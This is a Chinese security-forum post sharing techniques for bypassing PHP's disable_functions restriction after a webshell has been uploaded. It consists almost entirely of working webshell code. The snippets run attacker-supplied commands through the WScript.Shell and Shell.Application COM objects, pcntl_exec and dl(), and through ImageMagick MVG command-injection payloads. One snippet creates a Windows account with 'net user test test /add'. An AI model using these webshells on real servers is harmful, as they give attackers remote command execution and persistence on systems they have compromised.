安全矩阵

 找回密码
 立即注册
搜索
查看: 4526|回复: 0

姿势分享——PHP函数禁用绕过浅谈

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-10 08:11:23 | 显示全部楼层 |阅读模式
原文链接:姿势分享——PHP函数禁用绕过浅谈

在渗透测试过程中可能经常会遇到上传webshell后,由于php.ini配置禁用了一些如exec(),shell_exec(),system()等执行系统命令的函数,导致无法执行系统命令,就此问题给出几种绕过方法。



话不多说,直接贴代码:
  1. <?php
  2. $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
  3. $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");  
  4. $stdout = $exec->StdOut();  
  5. $stroutput = $stdout->ReadAll();  
  6. echo $stroutput;  
  7. ?>
复制代码

  1. <?php

  2. header("Content-Type: text/plain");

  3. $cmd="/tmp/exec";
  4. @unlink($cmd);
  5. $c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
  6. file_put_contents($cmd, $c);
  7. chmod($cmd, 0777);
  8. $cd="/tmp/output.txt";
  9. print_r(file_get_contents($cd));

  10. switch (pcntl_fork()) {

  11.   case 0:

  12.     $ret = pcntl_exec($cmd);

  13.     exit("case 0");

  14.   default:

  15.     echo "case 1";

  16.     break;

  17. }
复制代码
  1. <?php
  2. $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
  3. $exec=$phpwsh->ShellExecute("net"," user test test /add");
  4. //$exec=$phpwsh->ShellExecute("cmd","/c net user test test /add");
  5. ?>
复制代码
  1. <?php
  2. $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
  3. $exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
  4. ?>
复制代码
  1. <?php
  2. $a=new COM("Shell.Application");
  3. $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
  4. ?>
复制代码
  1. <?php
  2. $a=new COM("Shell.Application");
  3. $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
  4. ?>
复制代码
  1. <?php
  2. $command=$_POST[a];
  3. $wsh = new COM('WScript.shell');   // 生成一个COM对象
  4. $exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
  5. $stdout = $exec->StdOut();
  6. $stroutput = $stdout->ReadAll();
  7. echo $stroutput
  8. ?>
复制代码
  1. <?php
  2. dl("dl.so");  //dl.so在extension_dir目录,如不在则用../../来实现调用
  3. confirm_dl_compiled("$_GET[a]>1.txt");
  4. ?>
复制代码
  1. <?php
  2. echo "Disable Functions: " . ini_get('disable_functions') . "\n";

  3. $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
  4. if ($command == '') {
  5.     $command = 'id';
  6. }

  7. $exploit = <<<EOF
  8. push graphic-context
  9. viewbox 0 0 640 480
  10. fill 'url(https://example.com/image.jpg"|$command")'
  11. pop graphic-context
  12. EOF;

  13. file_put_contents("KKKK.mvg", $exploit);
  14. $thumb = new Imagick();
  15. $thumb->readImage('KKKK.mvg');
  16. $thumb->writeImage('KKKK.png');
  17. $thumb->clear();
  18. $thumb->destroy();
  19. unlink("KKKK.mvg");
  20. unlink("KKKK.png");
  21. ?>
复制代码


  1. <?php
  2. $c=$_REQUEST['c'];
  3. $e = <<<EOF
  4. push graphic-context
  5. viewbox 0 0 640 480
  6. fill 'url(https://"|$c")'
  7. pop graphic-context
  8. EOF;
  9. $i = new Imagick();
  10. $i->readImageBlob($e);
  11. ?>
复制代码

如果您觉得文章对您有帮助,点下关注不迷路,日常分享渗透测试骚姿势,我们的成长离不开您的陪伴。
                                                                                                                                                                                                                                                                                                                                                                                 









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 05:42 , Processed in 0.013898 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表